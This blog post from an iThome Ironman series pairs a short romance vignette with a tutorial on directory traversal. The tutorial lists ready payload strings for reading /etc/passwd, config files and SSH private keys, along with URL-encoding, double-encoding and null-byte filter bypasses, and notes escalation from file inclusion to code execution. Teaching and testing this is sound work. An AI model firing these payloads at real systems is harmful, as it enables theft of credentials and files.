iT邦幫忙

2025 iThome 鐵人賽

DAY 29
1
Security

Hack the Boyfriend: 陪他打到天亮!系列 第 29

Hack the Boyfriend 最終篇

  • 分享至 

  • xImage
  •  

最終篇 — ../


Terminal 上的游標閃爍,她在參數後一次又一次輸入 ../

她努力翻找每一層目錄,像是在拼命追溯自己所有喜歡過他的痕跡 —

那個她尋覓了好久,卻始終無法真正看透的他。

終於,她看見了一個檔案,裡頭留著他的名字與路徑。

她的心跳像是被打開的檔案內容,一行行全是熟悉卻再也無法修改的記錄。

她以為只要再多走幾層,就能找到真正的出口,像當初拿著私鑰時那樣滿懷希望。

但螢幕回傳的卻是冷冷的錯誤訊息:

Permission denied

那一刻,她明白:有些路徑不是靠技巧就能進入。

有些門,即使遍歷到最上層,也永遠無法開啟。

她把手從鍵盤上移開,低聲說了一句:「exit。」

螢幕熄滅,只剩下一片沈默。

謝謝你,紅隊男孩。那個讓我怦然心動的你,最終還是成為我逝去的青春。


技術筆記:目錄遍歷(Directory Traversal)

1. 基本概念

目錄遍歷(Directory Traversal):

利用應用程式接受「檔案路徑」作為輸入的特性,傳入相對路徑(例如 ../)或其他編碼形式,從而讀取或包含網站根目錄之外的檔案。

簡單說明:

當程式接受要開啟或顯示的檔案名稱時,如果沒有把輸入「正規化」或用白名單限制,就可能被利用來「往上溯源」─ 一路從目前目錄往上回到系統其他位置,讀到原本不該公開的檔案(像設定檔、日誌或私鑰)。

Linux 路徑分隔:/

常見測試檔案:/etc/passwd/etc/hosts/var/www/html/...

Windows 路徑分隔:\

常見測試檔案:C:\Windows\System32\drivers\etc\hostsC:\inetpub\wwwroot\web.config

2. 常見檢測流程(手動+工具)

資訊收集:

找出可能以檔案當作參數的參數名稱,例如:page, file, lang, theme, template 等。

檢視連結/按鈕

例如:滑鼠懸停或看原始碼找 GET 參數或 form 欄位。

直接訪問:

嘗試直接訪問 https://host/path/<value>?param=value(例:?language=en.html → 嘗試 /cms/en.html)。

嘗試相對路徑:

Linux 標準:

?page=../../../../etc/passwd

Windows 標準:

?page=..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts

用工具做大量測試:

  • Burp Intruder / Repeater(或 ffuf、wfuzz)搭配 payload list。

  • curlwget 做可靠 raw 請求(瀏覽器會改變格式)。

  • 驗證檔案內容:檔案內容是否像系統檔(root:x:0:0:、-----BEGIN 等)。

基本 Payload 範例

假設有系統疑似存在目錄遍歷漏洞,發現 url 後面的 ?page 非常可疑 XD

可以試試看:

  • Linux 常用

?page=../../../../../../etc/passwd

?page=../../../../../../etc/hosts

?page=../../../../../../var/www/html/config.php

?page=../../../../../../home/user/.ssh/id_rsa

  • Windows 常用

?page=..\..\..\..\Windows\System32\drivers\etc\hosts

?page=..\..\..\..\inetpub\wwwroot\web.config

  • URL encoding(避免被簡單過濾)

?page=..%2f..%2f..%2fetc%2fpasswd

?page=..%2f..%2f..%2f..%2f..%2fhome%2foffsec%2f.ssh%2fid_rsa

  • Double-encode 或混合編碼(繞過較弱的過濾)

?page=..%252f..%252f..%252fetc%252fpasswd

4. 常見繞過技巧(Payload 工具箱)

  • URL encode / double encode:../ → %2e%2e%2f%252e%252e%252f

  • UTF-8 / Unicode 編碼:%c0%af 等(已較少有效,但針對舊系統)

  • Null byte 結尾(舊 PHP/CGI bug):/file.php%00(現代 PHP 通常已修)

  • 混合斜線:..\/..\/etc\/passwd..%5c..%5c(Windows)

  • 長序列的 ../(深層跳脫):有時需要超過一般深度(../../...)

  • basename/extension bypass:若程序只允許 .php 結尾,可試 ../../file.php%00.jpg../../file.php#(視語言/框架而異)

  • 利用絕對路徑:若應用接受絕對路徑,直接送 /etc/passwd

  • 透過 LFI (Local File Inclusion) => RCE(若包含可執行內容,例如上傳可執行檔或 log poisoning)

小語

# 人家都說顯化很靈驗,我這篇小說快寫完了。
# CTF 帥哥還是沒發現,哈哈!

上一篇
內耗仔的 proxychains4:把戀愛腦重導到工作上就好
下一篇
回顧那一切,是夢與現實的交織
系列文
Hack the Boyfriend: 陪他打到天亮!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

1
marsgoat
iT邦新手 5 級 ‧ 2025-10-01 18:29:48

跪了
這系列標題都取得太好了吧
學習了

kika iT邦新手 2 級 ‧ 2025-10-01 19:31:20 檢舉

謝謝您的讚美🥹

我要留言

立即登入留言